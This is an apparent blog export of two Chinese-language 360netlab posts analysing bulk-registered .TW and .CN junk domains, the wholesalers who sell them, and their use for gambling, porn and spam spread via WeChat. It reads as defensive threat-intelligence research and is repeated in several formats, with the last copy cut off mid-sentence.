其中单个邮箱注册域名超过10,000的就有65个。这65个邮箱注册域名总数2,991,348，占我们调研时间段总域名数的93.43%，占TW总域名数的62.33%; * 如果把单个邮箱注册域名放宽到1,000的就有107个。这107个邮箱注册域名总数3,143,758，占我们调研时间段总域名数的98.20%，占TW总域名数的65.51%。 * 换句话说，现在TW顶级域至少 65.51% 的域名是由域名贩子注册的。 * 其中最大的一个邮箱注册了200,848个域名，约占TW总域名数的4.19%，相当恐怖的一个数字。 注册超过10,000个域名的邮箱具体分布如下： 对比一下CN域名的数据： * 根据CNNIC的第43次《中国互联网络发展状况统计报告》，截止到2018年12月，CN域名总数为21,243,000 * 从2018年8月1日到2019年4月16日为止，在DNSMon中，共监测到5,956,594个以CN为顶级域的注册域名，占比为28.04% * 单个邮箱注册超过10,000的有89个，注册的域名总数为2,452,934，占调研时间段总数的41.18%，占总域名数的11.55%。 * 单个邮箱注册超过1,000的有 817个，注册的域名总数为4,538,631，占调研时间段总数的76.20%，占总域名数的21.26%。 综合来看，CN域名被米农注册情况比TW的域名好一些，尤其是单个邮箱注册超过10,000的域名总数无论比例上还是绝对值，都要比TW要少。但由于CN域名的总量较大，绝对数量来看，还是要超过TW域名的。不过无论是TW还是CN，都存在大量的米农批量注册域名的情况。 由于CN和TW域名在滥用模式上有相似的特点，下面我们以TW的域名为例来讨论，来看看这种批量注册域名的业务的应用情况。 注册时间 如果从注册时间来看的话： * 从2018-08-25到2018-09-31这37天的时间内注册了3,032,339个域名，占我们调研时间段注册域名数的94.71%。 * 从2019-02-15到2019-03-13这27天内也注册了159,943个域名，占我们调研时间段内注册域名总数的4.99%。 具体如下图所示： 不同注册时间下的注册邮箱 前文提到，注册超过1000个域名的邮箱共有107个，在这两拨注册高峰中，只有3个邮箱同时参与了两拨高峰的注册。 注册商 出乎我们预料的是，在注册商方面，并不是开启免费注册的net-chinese占据大头，反而是Eranet International Limited独领风骚。具体分布如下： Eranet International Limited的实体是广东时代互联科技有限公司，是中国大陆地区唯一代理TW顶级域的域名注册商。通过其注册一个tw域名的需要的费用为每年45.16美元，比Godday的费用要高50%。在收费这么高的注册商上批量注册如此多的域名，真是令人费解。 如果我们只看第二波注册高峰，即2019年2月15号之后注册的域名来看，其注册商的分布如下： 整体来看，注册商的排名没有变化，只是各自的比例有一些调整。 为什么会这样？ 最初我们推断第一波的注册主要是因为net-chinese的免费政策产生的结果。但是经过分析注册商之后发现这个推断并不成立。 在Godday上注册一个TW顶级域的域名费用大约为每年200人民币。在Eranet International Limited注册一个TW域名费用大概是307人民币。如果按照Godday的费用计算，仅2019年新注册的159,943域名总开销接近32,000,000人民币。这么高的注册费用，显然不可能支撑TW域名如此规模的滥用。 考虑到不同注册商的价格可能有较大的差异，并且我们注意到在批量注册的邮箱中，有不少是专门做域名生意的米农。在跟他们交流之后发现，一个TW的域名每年只要4～5块人民币即可，当然这个价格是批发价，1000个域名起步。 批发商1 批发商2 由此我们可以看到TW域名滥用的基本模式： 1. 米农从注册商低价批发到大量（万计或者十万计）的TW域名。 2. 米农讲到手的域名同样以批发的形式以较低出售/出租 3. 需要大量域名的行业（比如：黑帽SEO/垃圾广告/灰色流量）的从业者会从米农手里批量购买这些域名 另外提一句：net-chinese开放免费注册TW顶级域有效期只有一年，可以预见，2019年8月25号之后，会相当多的TW顶级域域名会释放。 这些域名的首次访问时间 接着上面的问题，在注册了这些域名之后，这些域名第一次的DNS请求时间是和域名注册时间的差值是否有特定的关系？利用DNSMon的数据，我们统计出了域名注册时间和第一次访问时间差的累计分布图： 如果我们把注册域名成功认为是产品已经就绪，而有第一次DNS访问认为产品销售完成。那么完全销售这些域名所需时间长度如下： 1. 4.65%的域名在1周之内会销售出去； 2. 40%的域名在1个月之内会销售出去； 3. 81%的域名在3个月之内会销售出去； 4. 最难销售的10%的域名需要花3个月时间才能销售完成。 这些域名的业务 我们提取了DNSMon系统从2019-02-15开始捕获到的295664个.TW顶级域域名，并对其中245669个域名打上相应的标签，这些标签的分布如下： 可以看到，色情和赌博占据了89%的比例，有5%的域名的业务无法正常访问，2%的游戏业务，剩余的4%其他的业务类型，包括处在parking状态的，做垃圾邮件的等等。 这些域名的基础设施 这些域名主要运行在美国的多个CDN以及cloudflare上面，中国香港和南非有一小部分，剩余较少部分则运行于其他的50多个国家和地区。具体分布如下图： 这些域名的流量来源 由此更深入一步，我们希望知道如此大规模的域名的流量到底从何而来？用户是如何触发这些域名的请求的。这些域名的所有者又是如何盈利的？ 利用DNSMon系统，我们查询了部分.TW域名的共生域名的URL中，有一些URL存在有 “groupmessage&isappinstalled=” 这个模式，而此模式是在微信分享的时候的特有模式。 微信分享有关的URL模式 由此我们推测，部分.TW 域名的滥用应该和微信分享有关。从公开的文章来看，微信已经对这类垃圾信息做了一定的封堵策略。为了对抗微信的封堵，其中一种技术手段就是利用大量的域名来躲避微信的封堵黑名单。 利用大量的域名来躲避微信的封堵黑名单 所以现在的一些域名注册商也开始鼓吹微信防封域名，并以此提高域名的交易价格。 注册商提供的微信防封域名 来自蜜罐数据（myci）的实锤信息 通过对某些域名的数据的捕获，我们找到了其通信的关联数据，具体如下： 从UA可以清楚的看到访问 47r06mg.tw 的流量来源来自于OPPO的数据，并且refer的URL也有清晰的关于微信群分享的URL特征。 来自sinkhole的实锤数据 通过对某些域名的数据捕获，我们找到了其通信的关联数据，具体如下： 如果点击页面上方的投诉按钮，就会进入到微信的投诉渠道。下方的投诉须知明确表明这写内容是承载在微信的平台上的。 由此可见，多域名切换在微信产业链中的需求非常旺盛。哪里能够提供大量的，低成本的域名，灰色产业链对域名的需求就会扩展到哪里。 利用DNSMon的共生域名，结合我们的蜜罐数据我们确定.TW域名恰逢时机的提供了大量的低成本的域名供灰色产业链使用。 结论 * 截至目前（2019-03-27）.TW 顶级域中存在大量的垃圾域名，约占.TW下域名总数的的65%。 * 这些域名主要应用于赌博，色情，垃圾邮件，网络诈骗等灰色行业。 * 域名贩子通过注册商以极低的价格批量注册了大量的.TW域名，然后在转手卖给灰色产品的从业者。 ======== * 我们希望注册局能够严格审核注册信息的准确性、有效性，减少注册信息中的噪音，提高信息准确度。 * 免费的顶级域TK/ML/CF/GQ/GA等黑灰产滥用广为人知，因此很多APP对这类顶级域的域名的使用进行了限制。 * 如果在顶级域层面开放免费策略，一定要考虑到免费注册域名被滥用的可能性，以及由此引起的顶级域声誉的下降。 后续我们还会持续关注 .TW顶级域的域名使用情况。

{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# NOD 以及 DNSMon\nNewly Observered Doamin（NOD）是指在DNS系统中新出现的域名，对NOD域名的监测和标记能够快速的对新出现的各种应用进行发现和分析。NOD域名经常会用来做垃圾邮件，恶意软件的分发以及botnet的C2等。此外各种灰产（赌博，色情，网络诈骗）为了避免为安全设备/程序的封杀，也经常会使用NOD来开展业务。对NOD的监控对一个完善的DNS监控系统必须具备的功能。\n\nDNSMon系统是360netlab开发的，针对互联网DNS流量做持续不断的监控和各种异常检测的系统，如果发现了异常域名，它还能够对发生异常的域名打上多种属性的标签。标签辅助分析人员和客户对发生异常的域名进行综合判断。对NOD域名的监测是DNSMon系统的一项功能，DNSMon系统能够对新注册域名的使用情况进行及时，准确的分析。必要情况下还可以在resolver层面进行对异常域名实时的封堵。\n\n一段时间以来，DNSMon系统不断的收到大量的以.TW为顶级域的NOD域名的告警。这类域名在DNS系统中被大量的解析。而这些域名承载的内容多数为赌博，色情，网络欺诈等灰色业务并且它们使用的基础设施较为为集中。这种异常情况引发了我们调查.TW顶级域的兴趣。\n"}],["markdown",{"markdown":"# 一些例子\n首先来看看这类域名的样子。我们列举了部分这类域名，可以看到这部分域名奇奇怪怪，必然不会是正常操作所致。\n\n\n从上图中可以看出：\n1. 域名是字母数字组合的长度不定的随机域名，推断应该是批量注册的。\n1. 其承载业务的页面title有的非常直接的涉及赌博关键字（赛马，心水论坛等等），有些则貌似是正常的公司名称。\n1. 对第二种情况，下面的图清晰的说明了其仍然是一个赌博站：\n\n\n若从具体网页来看，有的是简洁跳转风格，有的是混乱模板风格，不一而足。\n#### 简洁跳转风格：\n\n#### 混乱模板风格：\n\n\n# 进一步分析\n为了彻底调查清楚这些域名的注册及实际使用情况，我们对.TW顶级域的域名进行深入的分析。\n经过对出现告警的 .TW域名的简单统计，发现这些域名的注册时间比较集中，很容易考虑到.TW顶级域的域名是否免费注册过？\n根据之前的[消息](https://www.mrkevin.net/share/1667.html)，我们知道在2018年8月25号，亚运会期间，台湾域名注册商net-chinese曾经发起过免费注册使用 .TW域名一年的活动。由此看来 .TW域名的确有过免费注册的先例。\n为了更准确的分析这部分数据，后续分析的数据以2018-08-25为域名注册日期的起始点。\n现在初步看来只要有免费的活动，就少不了各种钻空子的羊毛党的活动。"}],["markdown",{"markdown":"# .TW顶级域数据统计\n## 时间范围\n如上一节所说，net-chinese的免费域名开始时间是2018年8月25号。所以本次统计分析的数据仅针对2018.08.25 ~ 2019.03.27 这个时间范围内注册的域名。\n## 基本数据\n* 根据[TWNIC2018年的年度报告](https://www.twnic.net.tw/doc/a_report/2018/domain.htm)，TW顶级域下共有 4,798,932个域名。\n* 从这2018.08.25开始截止到2019年3月27号为止，在DNSMon中，一共监测到3,201,378个以TW为顶级域的注册域名。\n\n## 注册邮箱\n* 其中单个邮箱注册域名超过10,000的就有65个。这65个邮箱注册域名总数2,991,348，占我们调研时间段总域名数的93.43%，**占TW总域名数的62.33%**;\n* 如果把单个邮箱注册域名放宽到1,000的就有107个。这107个邮箱注册域名总数3,143,758，占我们调研时间段总域名数的98.20%，**占TW总域名数的65.51%**。\n* 换句话说，现在TW顶级域至少 **65.51%** 的域名是由域名贩子注册的。\n* 其中最大的一个邮箱注册了**200,848**个域名，约占TW总域名数的**4.19%**，相当恐怖的一个数字。\n注册超过10,000个域名的邮箱具体分布如下：\n\n\n### 对比一下CN域名的数据：\n* 根据CNNIC的[第43次《中国互联网络发展状况统计报告》](http://www.cnnic.net.cn/hlwfzyj/hlwxzbg/hlwtjbg/201902/t20190228_70645.htm)，截止到2018年12月，CN域名总数为21,243,000\n* 从2018年8月1日到2019年4月16日为止，在DNSMon中，共监测到5,956,594个以CN为顶级域的注册域名，占比为28.04%\n* 单个邮箱注册超过10,000的有89个，注册的域名总数为2,452,934，占调研时间段总数的41.18%，占总域名数的11.55%。\n* 单个邮箱注册超过1,000的有 817个，注册的域名总数为4,538,631，占调研时间段总数的76.20%，占总域名数的21.26%。\n综合来看，CN域名被米农注册情况比TW的域名好一些，尤其是单个邮箱注册超过10,000的域名总数无论比例上还是绝对值，都要比TW要少。但由于CN域名的总量较大，绝对数量来看，还是要超过TW域名的。不过无论是TW还是CN，都存在大量的米农批量注册域名的情况。\n\n由于CN和TW域名在滥用模式上有相似的特点，下面我们以TW的域名为例来讨论，来看看这种批量注册域名的业务的应用情况。\n\n## 注册时间\n如果从注册时间来看的话：\n* 从2018-08-25到2018-09-31这37天的时间内注册了3,032,339个域名，占我们调研时间段注册域名数的**94.71%**。\n* 从2019-02-15到2019-03-13这27天内也注册了159,943个域名，占我们调研时间段内注册域名总数的**4.99%**。\n具体如下图所示：\n\n\n### 不同注册时间下的注册邮箱\n前文提到，注册超过1000个域名的邮箱共有107个，在这两拨注册高峰中，只有3个邮箱同时参与了两拨高峰的注册。\n\n\n\n## 注册商\n出乎我们预料的是，在注册商方面，并不是开启免费注册的net-chinese占据大头，反而是Eranet International Limited独领风骚。具体分布如下：\n\nEranet International Limited的实体是广东时代互联科技有限公司，是中国大陆地区唯一代理TW顶级域的域名注册商。通过其注册一个tw域名的需要的费用为每年45.16美元，比Godday的费用要高50%。在收费这么高的注册商上批量注册如此多的域名，真是令人费解。\n\n如果我们只看第二波注册高峰，即2019年2月15号之后注册的域名来看，其注册商的分布如下：\n\n整体来看，注册商的排名没有变化，只是各自的比例有一些调整。\n\n## 为什么会这样？\n最初我们推断第一波的注册主要是因为net-chinese的免费政策产生的结果。但是经过分析注册商之后发现这个推断并不成立。\n\n在Godday上注册一个TW顶级域的域名费用大约为每年200人民币。在Eranet International Limited注册一个TW域名费用大概是307人民币。如果按照Godday的费用计算，仅2019年新注册的159,943域名总开销接近**32,000,000**人民币。这么高的注册费用，显然不可能支撑TW域名如此规模的滥用。\n\n考虑到不同注册商的价格可能有较大的差异，并且我们注意到在批量注册的邮箱中，有不少是专门做域名生意的米农。在跟他们交流之后发现，一个TW的域名每年只要4～5块人民币即可，当然这个价格是批发价，1000个域名起步。\n#### 批发商1\n\n#### 批发商2\n\n\n由此我们可以看到TW域名滥用的基本模式：\n1. 米农从注册商低价批发到大量（万计或者十万计）的TW域名。\n1. 米农讲到手的域名同样以批发的形式以较低出售/出租\n2. 需要大量域名的行业（比如：黑帽SEO/垃圾广告/灰色流量）的从业者会从米农手里批量购买这些域名\n\n另外提一句：net-chinese开放免费注册TW顶级域有效期只有一年，可以预见，2019年8月25号之后，会相当多的TW顶级域域名会释放。"}],["markdown",{"markdown":"# 这些域名的首次访问时间\n接着上面的问题，在注册了这些域名之后，这些域名第一次的DNS请求时间是和域名注册时间的差值是否有特定的关系？利用DNSMon的数据，我们统计出了域名注册时间和第一次访问时间差的累计分布图：\n\n\n如果我们把注册域名成功认为是产品已经就绪，而有第一次DNS访问认为产品销售完成。那么完全销售这些域名所需时间长度如下：\n1. 4.65%的域名在1周之内会销售出去；\n2. 40%的域名在1个月之内会销售出去；\n3. 81%的域名在3个月之内会销售出去；\n4. 最难销售的10%的域名需要花3个月时间才能销售完成。\n# 这些域名的业务\n我们提取了DNSMon系统从2019-02-15开始捕获到的295664个.TW顶级域域名，并对其中245669个域名打上相应的标签，这些标签的分布如下：\n\n\n\n可以看到，色情和赌博占据了89%的比例，有5%的域名的业务无法正常访问，2%的游戏业务，剩余的4%其他的业务类型，包括处在parking状态的，做垃圾邮件的等等。\n\n# 这些域名的基础设施\n这些域名主要运行在美国的多个CDN以及cloudflare上面，中国香港和南非有一小部分，剩余较少部分则运行于其他的50多个国家和地区。具体分布如下图：\n\n\n# 这些域名的流量来源\n由此更深入一步，我们希望知道如此大规模的域名的流量到底从何而来？用户是如何触发这些域名的请求的。这些域名的所有者又是如何盈利的？\n\n利用DNSMon系统，我们查询了部分.TW域名的共生域名的URL中，有一些URL存在有 “groupmessage&isappinstalled=” 这个模式，而此模式是在[微信分享](https://www.v2ex.com/t/401975)的时候的特有模式。\n#### 微信分享有关的URL模式\n\n\n由此我们推测，部分.TW 域名的滥用应该和微信分享有关。从[公开的文章](http://www.thinkphp.cn/code/5211.html)来看，微信已经对这类垃圾信息做了一定的封堵策略。为了对抗微信的封堵，其中一种技术手段就是利用大量的域名来躲避微信的封堵黑名单。\n#### 利用大量的域名来躲避微信的封堵黑名单\n\n\n所以现在的一些域名注册商也开始鼓吹微信防封域名，并以此提高域名的交易价格。\n#### 注册商提供的微信防封域名\n<img src=\"__GHOST_URL__/content/images/2019/04/huaimi_wechat_antiblock-2.png\">\n\n#### 来自蜜罐数据（myci）的实锤信息\n通过对某些域名的数据的捕获，我们找到了其通信的关联数据，具体如下：\n\n <img src=\"__GHOST_URL__/content/images/2019/04/tw_domain_wechat_source-1.png\">\n\n从UA可以清楚的看到访问 47r06mg.tw 的流量来源来自于OPPO的数据，并且refer的URL也有清晰的关于微信群分享的URL特征。\n\n#### 来自sinkhole的实锤数据\n通过对某些域名的数据捕获，我们找到了其通信的关联数据，具体如下：\n\n如果点击页面上方的投诉按钮，就会进入到微信的投诉渠道。下方的投诉须知明确表明这写内容是承载在微信的平台上的。\n\n\n由此可见，多域名切换在微信产业链中的需求非常旺盛。哪里能够提供大量的，低成本的域名，灰色产业链对域名的需求就会扩展到哪里。\n利用DNSMon的共生域名，结合我们的蜜罐数据我们确定.TW域名恰逢时机的提供了大量的低成本的域名供灰色产业链使用。"}],["markdown",{"markdown":"# 结论\n* 截至目前（2019-03-27）.TW 顶级域中存在大量的垃圾域名，约占.TW下域名总数的的65%。\n* 这些域名主要应用于赌博，色情，垃圾邮件，网络诈骗等灰色行业。\n* 域名贩子通过注册商以极低的价格批量注册了大量的.TW域名，然后在转手卖给灰色产品的从业者。\n\n========\n* 我们希望注册局能够严格审核注册信息的准确性、有效性，减少注册信息中的噪音，提高信息准确度。\n* 免费的顶级域TK/ML/CF/GQ/GA等黑灰产滥用广为人知，因此很多APP对这类顶级域的域名的使用进行了限制。\n* 如果在顶级域层面开放免费策略，一定要考虑到免费注册域名被滥用的可能性，以及由此引起的顶级域声誉的下降。\n\n后续我们还会持续关注 .TW顶级域的域名使用情况。"}]],"markups":[["em"]],"sections":[[1,"blockquote",[[0,[0],1,"注：本文所说的 .TW 顶级域仅指SLD.TW这类域名，并不包含com.tw, net.tw, org.tw, idv.tw, game.tw, club.tw, ebiz.tw 等复合顶级域。"]]],[10,0],[10,1],[10,2],[10,3],[10,4],[1,"p",[]]],"ghostVersion":"3.0"}

5c9c8c1540e02300075f9d56

post

2019-04-04T09:46:27.000Z

63873b9a8b1c1e0007f52f46

you-yi-ci-yong-hu-fan-kui-shuo-kai-qu

2019-05-24T10:33:10.000Z

public

draft

由一次用户反馈说开去

<!--kg-card-begin: markdown--><h1 id="">缘由</h1> <p>2019-04-04 的下午，我收到一份用户反馈的邮件，说是同样一个链接在两台不同的电脑上打开的效果不一致。一台电脑是“正常”打开，另一台则“打不开”，返回的是360netlab的sinkhole页面。我当然知道是因为我们的DNSMon的恶意域名拦截功能导致的，不过引起我兴趣的是具体被拦截的域名 <strong>1oau9.cn</strong>。 这种域名像极了黑灰产业链中用到的那种垃圾域名。在反馈中用户特意提到了“<strong>使用微信</strong>”点开链接，这一点和我上一篇文章提到的 TW 顶级域的滥用也很像。邮件截图如下：<br> <img src="__GHOST_URL__/content/images/2019/04/user_feed_back.png" alt="user_feed_back" loading="lazy"></p> <h1 id="">域名用途</h1> <p>1oau9.cn 这个域名被拦截，在DNSMon系统中，没有任何可用的信息，被拦截是因为高可疑。不过从用户的反馈中，可以看到它有效的URL：<a href="http://1oau9.cn/main/66.html">http://1oau9.cn/main/66.html</a> 。这一点同样证实了，现在大量的域名通过手机内部app直接访问，相关能够流落到外面的可能性越来越少。既然有了URL，难免不会去访问一番，访问之后是一个如下的页面：<br> <img src="__GHOST_URL__/content/images/2019/04/page_screen.png" alt="page_screen" loading="lazy"></p> <p>从这个图中，至少可以看到三个信息：</p> <ol> <li>这个页面确实是一个手机页面</li> <li>看风格，既有美女，又有金钱，很大程度是一个诈骗的应用</li> <li>下方有一个二维码，又存在着导流的功能。</li> </ol> <p>接着第三个信息，我们扫码之后是一个如下的页面，看起来是做抽奖，如果分享给朋友，能多一次抽奖机会，裂变传播的常规套路。<br> <img src="__GHOST_URL__/content/images/2019/04/phone1-1.jpeg" alt="phone1-1" loading="lazy"></p> <p>关闭抽奖页面之后，看到的是一个很诱惑的图片，点击图片下方的寻找萌妹，就会跳转到正题，下载APP了，这个APP看起来是游戏陪练，具体功能这里不做深究。如下：<br> <img src="__GHOST_URL__/content/images/2019/04/phone2-1.jpeg" alt="phone2-1" loading="lazy"><img src="__GHOST_URL__/content/images/2019/04/phone3-1.jpeg" alt="phone3-1" loading="lazy"><img src="__GHOST_URL__/content/images/2019/04/phone4-1.jpeg" alt="phone4-1" loading="lazy"></p> <p>到这里我们看到微信里面的这种链接应该脱离不开投递广告，应用推广等这些基本的套路。</p> <p>具体在微信中推广应用及微信对应的封堵策略等请查看<a href="https://www.jianshu.com/p/c6aca59ec94b">参考文档1</a>.以及<a href="http://www.zjychina.cn/p/1443217.html">参考文档2</a></p> <h1 id="1oau9cn">关于文章开始的域名1oau9.cn</h1> <p>1oau9.cn这个域名看起来怪就是因为它很随机，字母数字组合，完全没有规律可循。要知道DNS的功能就是把人类难以记住的IP地址和较容易记住的域名关联起来，如果域名本身变得难以记忆了，那么这个域名还有什么意义呢？<br> 也许它的作用还是只给机器（电脑）使用，而人不会直接用到它。那么需要大量自动使用域名的行业就会成为这类域名发挥作用的场所了。因为微信对基于微信平台的灰色应用的封杀导致在微信平台上做推广成了大量自动使用域名的新的舞台。和之前的站群SEO这种前辈一样。需求巨大。.TW的文章中提到哪里有便宜的域名，哪里就会有这种域名的应用。无论是TW低成本域名还是CF，ML，GQ这种免费域名还是各种 低成本的newGTLD，统统可以用来做业务的推广。<br> 再回到初始域名1oau9.cn上来，是一个 以.CN为顶级域的域名。.CN顶级域与其他的顶级域有一个不同的地方在于CN域名如果有备案的话，它的价值就可以比无备案的域名高出很多，而域名是否备案又成了微信以及类似平台审核域名的一个关键点。那么备案是否也可以批量备案呢，答案是完全可以，具体请参考我们之前的关于备案的调查的文章。<br> 我们接着看 1oau9.cn 这个域名的情况。注册人邮箱：[email protected]。 通过DNSMon查询，这个email注册了 11611 个域名，全部是CN顶级域名。其中完成备案的有5359个域名，比例为：46.14%。这个比例和其他的疯狂注册并备案的注册人来说，并不算高。这5359个域名分别使用了如下公司进行备案：</p> <ul> <li>2915 山西敏洋溢网络科技有限公司</li> <li>1067 山西洋然涵科技有限公司</li> <li>1067 山西春鹤阳溢科技咨询有限公司</li> <li>261 内蒙古泓郜消防设备有限公司</li> <li>14 太原市万柏林区凡凡日化经销部</li> <li>15 其他人员/公司</li> </ul> <p>由上面的公司以及下面备案省份的统计可以看出，主备案省份还是山西省，与之前的调查结果一致：</p> <ul> <li>5068 晋</li> <li>261 蒙</li> <li>14 赣</li> <li>9 鲁</li> <li>3 宁</li> <li>2 冀</li> <li>1 鄂</li> <li>1 滇</li> </ul> <p>备案日期主要集中在3月18号，非常的新：</p> <ul> <li>3984 2019-03-18 00</li> <li>1081 2019-01-21 00</li> <li>261 2019-01-11 00</li> <li>16 2019-03-19 00</li> <li>17 其他日期（均为2019年2月12号以后）</li> </ul> <h1 id="">域名的注册和出售</h1> <p>在分析 TW域名的时候，我们考察过一些域名注册商打包出售这种批量注册，备案域名的情况。比如典型的<a href="http://www.huaimi.com">怀米网</a>，<a href="http://yumingpifa.com/">域名批发网</a>均会大量出售这种域名给后端需要使用大量域名的客户。域名出售商往往会根据域名是否被平台或者安全公司封杀，以及是否有备案等属性来给不同的域名定不同的价格，以此达到利润的最大化。<br> <img src="__GHOST_URL__/content/images/2019/04/registra.png" alt="registra" loading="lazy"></p> <h1 id="">产业链条</h1> <p>至此，我们可以大致勾勒出这种批量域名的整个产业链：</p> <ol> <li>米农/域名注册商利用各种机会手段从注册商/注册局批量注册大量的域名。在做批发业务的时候，他们并不关心域名本身是否容易记忆，是否有品牌意义等这些常规注册时才需要考虑的属性。只求便宜，量大，因此注册域名都是随机域名（既可以字母随机，也可以数字随机还可以字母数字混合随机）。一个典型的米农的工作内容：既要查询域名是否被注册，又要查询域名是否有备案，还要查询域名是否被微信拦截等等。<img src="__GHOST_URL__/content/images/2019/04/minong_work_platform.png" alt="minong_work_platform" loading="lazy"></li> <li>为了提高收益，有些米农/注册商会对批量注册的域名进行批量的备案。具体的备案方式可以分为两种：一种是通过灰色渠道批量购买公司营业执照的方式进行公司备案，另一种是通过购买/雇佣个人信息的方式进行个人域名备案。做一个代备案的费用大概在1500块，卖家会提供营业执照给买房。像我们观察到的现象，批量的备案方式，卖家只提供营业执照的照片，相应的价格会便宜，大概每个域名500块。<br> <img src="__GHOST_URL__/content/images/2019/04/icp_chat1.png" alt="icp_chat1" loading="lazy"> <img src="__GHOST_URL__/content/images/2019/04/icp_chat2.png" alt="icp_chat2" loading="lazy"></li> <li>米农/注册商在各自的平台或者借助第三方的平台对已注册域名或者已备案域名进行出售。相比较个人去注册商注册域名，这种出售价格往往也非常低廉（以TW的域名为例，Godday的注册价格是这种批发域名价格的40倍左右），出售的时候只批发不零售，出售/出租给需要大量域名的用户。<em>这种出售一般情况下不会更改whois的注册人信息，也就是这种出售从whois角度来看应该理解为出租。</em></li> <li>需要大量域名的行业批量购入这些域名之后，结合自己的业务将其投入到实际使用中，比如在微信平台上的各种推广，垃圾站群的SEO以及各种赌博或者色情的广告平台。如果被安全公司或者应用平台封杀，那么这些域名会弃之不用，从新购入新的域名继续之前的业务。同时也有一些专门的产业从业者从事抗平台封杀技术的服务和提供，比如<a href="http://www.dingxsd.com/">这里</a>以及<a href="http://fbp.xianzais.top/">这里</a>等等。</li> <li>被封杀的域名会继续进入米农/注册商的仓库，等待下一批新的用户的购买/租用。关于这一点请参考<a href="https://www.jianshu.com/p/d888b0488210?utm_campaign=maleskine&amp;utm_content=note&amp;utm_medium=seo_notes&amp;utm_source=recommendation">这里的文章</a>中提到的微信拦截因素的第一条。以及从下图可以看到，域名在不同的米农之间流转非常正常：<br> <img src="__GHOST_URL__/content/images/2019/04/chat1.png" alt="chat1" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2019/04/chat2.png" alt="chat2" loading="lazy"></li> <li>这种模式在一定程度上是一种域名的DGA + Fastflux的结合。</li> </ol> <h1 id="">结论</h1> <p>我们从一次用户真实的反馈开始，验证了之前我们对这种域名的使用模式的猜想。<br> 从中可以看到：</p> <ol> <li>黑灰色产业链条使用域名上面已经非常完善。从注册，备案，到使用，回收，之后再次使用这个闭环甚至可以无限循环下去。产业链非常强大。</li> <li>为了应对这种情况，相应的，我们必须从域名注册，域名备案，以及域名滥用检测等多个方面完善现有功能，补上现在存在的各种漏洞。</li> </ol> <!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h1 id="">参考链接</h1> <ol> <li><a href="https://www.jianshu.com/p/c6aca59ec94b">https://www.jianshu.com/p/c6aca59ec94b</a></li> <li><a href="http://www.zjychina.cn/p/1443217.html">http://www.zjychina.cn/p/1443217.html</a></li> <li><a href="https://www.jianshu.com/p/8801f1c99f49?utm_campaign=maleskine&amp;utm_content=note&amp;utm_medium=seo_notes&amp;utm_source=recommendation">https://www.jianshu.com/p/8801f1c99f49?utm_campaign=maleskine&amp;utm_content=note&amp;utm_medium=seo_notes&amp;utm_source=recommendation</a></li> <li><a href="https://www.v2ex.com/t/541002">https://www.v2ex.com/t/541002</a></li> <li><a href="http://fbp.xianzais.top/">http://fbp.xianzais.top/</a></li> <li><a href="http://www.dingxsd.com/">http://www.dingxsd.com/</a></li> </ol> <!--kg-card-end: markdown-->

缘由 2019-04-04 的下午，我收到一份用户反馈的邮件，说是同样一个链接在两台不同的电脑上打开的效果不一致。一台电脑是“正常”打开，另一台则“打不开”，返回的是360netlab的sinkhole页面。我当然知道是因为我们的DNSMon的恶意域名拦截功能导致的，不过引起我兴趣的是具体被拦截的域名 1oau9.cn。 这种域名像极了黑灰产业链中用到的那种垃圾域名。在反馈中用户特意提到了“使用微信”点开链接，这一点和我上一篇文章提到的 TW 顶级域的滥用也很像。邮件截图如下： 域名用途 1oau9.cn 这个域名被拦截，在DNSMon系统中，没有任何可用的信息，被拦截是因为高可疑。不过从用户的反馈中，可以看到它有效的URL：http://1oau9.cn/main/66.html 。这一点同样证实了，现在大量的域名通过手机内部app直接访问，相关能够流落到外面的可能性越来越少。既然有了URL，难免不会去访问一番，访问之后是一个如下的页面： 从这个图中，至少可以看到三个信息： 1. 这个页面确实是一个手机页面 2. 看风格，既有美女，又有金钱，很大程度是一个诈骗的应用 3. 下方有一个二维码，又存在着导流的功能。 接着第三个信息，我们扫码之后是一个如下的页面，看起来是做抽奖，如果分享给朋友，能多一次抽奖机会，裂变传播的常规套路。 关闭抽奖页面之后，看到的是一个很诱惑的图片，点击图片下方的寻找萌妹，就会跳转到正题，下载APP了，这个APP看起来是游戏陪练，具体功能这里不做深究。如下： 到这里我们看到微信里面的这种链接应该脱离不开投递广告，应用推广等这些基本的套路。 具体在微信中推广应用及微信对应的封堵策略等请查看参考文档1.以及参考文档2 关于文章开始的域名1oau9.cn 1oau9.cn这个域名看起来怪就是因为它很随机，字母数字组合，完全没有规律可循。要知道DNS的功能就是把人类难以记住的IP地址和较容易记住的域名关联起来，如果域名本身变得难以记忆了，那么这个域名还有什么意义呢？ 也许它的作用还是只给机器（电脑）使用，而人不会直接用到它。那么需要大量自动使用域名的行业就会成为这类域名发挥作用的场所了。因为微信对基于微信平台的灰色应用的封杀导致在微信平台上做推广成了大量自动使用域名的新的舞台。和之前的站群SEO这种前辈一样。需求巨大。.TW的文章中提到哪里有便宜的域名，哪里就会有这种域名的应用。无论是TW低成本域名还是CF，ML，GQ这种免费域名还是各种 低成本的newGTLD，统统可以用来做业务的推广。 再回到初始域名1oau9.cn上来，是一个 以.CN为顶级域的域名。.CN顶级域与其他的顶级域有一个不同的地方在于CN域名如果有备案的话，它的价值就可以比无备案的域名高出很多，而域名是否备案又成了微信以及类似平台审核域名的一个关键点。那么备案是否也可以批量备案呢，答案是完全可以，具体请参考我们之前的关于备案的调查的文章。 我们接着看 1oau9.cn 这个域名的情况。注册人邮箱：[email protected]。 通过DNSMon查询，这个email注册了 11611 个域名，全部是CN顶级域名。其中完成备案的有5359个域名，比例为：46.14%。这个比例和其他的疯狂注册并备案的注册人来说，并不算高。这5359个域名分别使用了如下公司进行备案： * 2915 山西敏洋溢网络科技有限公司 * 1067 山西洋然涵科技有限公司 * 1067 山西春鹤阳溢科技咨询有限公司 * 261 内蒙古泓郜消防设备有限公司 * 14 太原市万柏林区凡凡日化经销部 * 15 其他人员/公司 由上面的公司以及下面备案省份的统计可以看出，主备案省份还是山西省，与之前的调查结果一致： * 5068 晋 * 261 蒙 * 14 赣 * 9 鲁 * 3 宁 * 2 冀 * 1 鄂 * 1 滇 备案日期主要集中在3月18号，非常的新： * 3984 2019-03-18 00 * 1081 2019-01-21 00 * 261 2019-01-11 00 * 16 2019-03-19 00 * 17 其他日期（均为2019年2月12号以后） 域名的注册和出售 在分析 